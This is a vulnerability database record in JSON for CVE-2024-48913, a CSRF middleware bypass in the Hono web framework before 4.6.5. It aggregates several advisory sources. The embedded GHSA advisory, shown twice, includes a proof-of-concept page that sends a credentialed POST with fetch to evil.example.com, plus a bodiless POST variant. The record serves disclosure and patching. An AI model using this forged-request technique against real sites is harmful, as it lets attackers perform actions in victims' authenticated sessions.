{"id":"CVE-2024-48913","aliases":["CLSA-2026-1790597695","EUVD-2024-2898","GHSA-2234-fmw7-43wr","GHSA-26pp-8wgv-hjvm"],"status":"published","title":"Hono vulnerable to bypass of CSRF Middleware by a request without Content-Type header.","description":"Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without Content-Type header. Although the CSRF middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. This can allow an attacker to bypass CSRF protection implemented with Hono CSRF middleware. Version 4.6.5 fixes this issue.","severity":{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00325,"percentile":0.25932,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-352"],"published":"2024-10-15T15:56:14Z","modified":"2026-10-28T02:30:54Z","fixes":[{"ecosystem":"npm","package":"hono","fixed_in":["4.6.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"hono","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.5"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"hono","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.12.12-tuxcare.0"},{"fixed":"3.12.12-tuxcare.2"}]}],"versions":["3.12.12","3.12.12-tuxcare.1"],"bundled":11},{"source":"osv","ecosystem":"npm","package":"hono","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.6.5"}]}]}],"products":[{"vendor":"hono","product":"hono"},{"vendor":"honojs","product":"hono"}],"references":[{"url":"https://github.com/honojs/hono/security/advisories/GHSA-2234-fmw7-43wr","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/honojs/hono/commit/aa50e0ab77b5af8c53c50fe3b271892f8eeeea82","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89","tags":["x_refsource_MISC","Product","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-48913","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-2234-fmw7-43wr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/48xxx/CVE-2024-48913.json","tags":["advisory"]},{"url":"https://github.com/honojs/hono","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-48913","title":"Hono vulnerable to bypass of CSRF Middleware by a request without Content-Type header.","description":"Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without Content-Type header. Although the CSRF middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. This can allow an attacker to bypass CSRF protection implemented with Hono CSRF middleware. Version 4.6.5 fixes this issue.","status":"published","published":"2024-10-15T15:56:14.408Z","modified":"2024-11-07T18:33:39.27Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:34:11.638716Z"}],"euvd":[{"id":"EUVD-2024-2898","description":"Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without Content-Type header. Although the CSRF middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. This can allow an attacker to bypass CSRF protection implemented with Hono CSRF middleware. Version 4.6.5 fixes this issue.","status":"published","published":"2024-10-15T15:56:14Z","modified":"2024-11-07T18:33:39Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N","level":"medium"}],"updated_at":"2026-11-03T00:05:08.272544Z"}],"ghsa":[{"id":"GHSA-2234-fmw7-43wr","title":"Hono allows bypass of CSRF Middleware by a request without Content-Type header.","description":"### Summary\nBypass CSRF Middleware by a request without Content-Type herader.\n\n### Details\nAlthough the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.\n\nhttps://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89\n\n### PoC\n```server.js\n// server.js\nimport { Hono } from 'hono'\nimport { csrf }from 'hono/csrf'\nconst app = new Hono()\napp.use(csrf())\napp.get('/', (c) =\u003e {\n  return c.html('Hello Hono!')\n})\napp.post('/', async (c) =\u003e {\n  console.log(\"executed\")\n  return c.text( await c.req.text())\n})\nDeno.serve(app.fetch)\n```\n\n```poc.html\n\u003c!-- PoC.html --\u003e\n\u003cscript\u003e\nasync function myclick() {\n    await fetch(\"http://evil.example.com\", {\n    method: \"POST\",\n    credentials: \"include\",\n    body:new Blob([`test`],{}),\n    });\n}\n\u003c/script\u003e\n\u003cinput type=\"button\" onclick=\"myclick()\" value=\"run\" /\u003e\n```\n\nSimilarly, the fetch API does not add a Content-Type header for requests that do not include a Body.\n```PoC2.js\nawait fetch(\"http://localhost:8000\", { method: \"POST\", credentials: \"include\"});\n```\n\n### Impact\nBypass csrf protection implemented with hono csrf middleware.\n","status":"published","published":"2024-10-15T17:43:50Z","modified":"2024-11-07T18:33:22Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:38:16.477822Z"}],"nvd":[{"id":"CVE-2024-48913","description":"Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without Content-Type header. Although the CSRF middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. This can allow an attacker to bypass CSRF protection implemented with Hono CSRF middleware. Version 4.6.5 fixes this issue.","status":"published","published":"2024-10-15T16:15:05.96Z","modified":"2026-06-17T07:59:01.61Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:10:31.879321Z"}],"osv":[{"id":"CVE-2024-48913","title":"Hono vulnerable to bypass of CSRF Middleware by a request without Content-Type header.","description":"Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without Content-Type header. Although the CSRF middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. This can allow an attacker to bypass CSRF protection implemented with Hono CSRF middleware. Version 4.6.5 fixes this issue.","status":"published","published":"2024-10-15T15:56:14.408Z","modified":"2026-10-28T02:30:54.148952947Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:44:43.597758Z"},{"id":"GHSA-2234-fmw7-43wr","title":"Hono allows bypass of CSRF Middleware by a request without Content-Type header.","description":"### Summary\nBypass CSRF Middleware by a request without Content-Type herader.\n\n### Details\nAlthough the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.\n\nhttps://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89\n\n### PoC\n```server.js\n// server.js\nimport { Hono } from 'hono'\nimport { csrf }from 'hono/csrf'\nconst app = new Hono()\napp.use(csrf())\napp.get('/', (c) =\u003e {\n  return c.html('Hello Hono!')\n})\napp.post('/', async (c) =\u003e {\n  console.log(\"executed\")\n  return c.text( await c.req.text())\n})\nDeno.serve(app.fetch)\n```\n\n```poc.html\n\u003c!-- PoC.html --\u003e\n\u003cscript\u003e\nasync function myclick() {\n    await fetch(\"http://evil.example.com\", {\n    method: \"POST\",\n    credentials: \"include\",\n    body:new Blob([`test`],{}),\n    });\n}\n\u003c/script\u003e\n\u003cinput type=\"button\" onclick=\"myclick()\" value=\"run\" /\u003e\n```\n\nSimilarly, the fetch API does not add a Content-Type header for requests that do not include a Body.\n```PoC2.js\nawait fetch(\"http://localhost:8000\", { method: \"POST\", credentials: \"include\"});\n```\n\n### Impact\nBypass csrf protection implemented with hono csrf middleware.\n","status":"published","published":"2024-10-15T17:43:50Z","modified":"2026-09-10T03:50:19.03573342Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:46:33.520522Z"},{"id":"CLSA-2026-1790597695","title":"TuxCare security update for hono (12 CVEs)","description":"TuxCare rebuilt hono to address 12 CVEs. Fixed in 3.12.12-tuxcare.2.","status":"published","published":"2026-09-28T12:14:55Z","modified":"2026-10-15T09:48:03.104113003Z","updated_at":"2026-11-02T15:43:48.65893Z"}]}}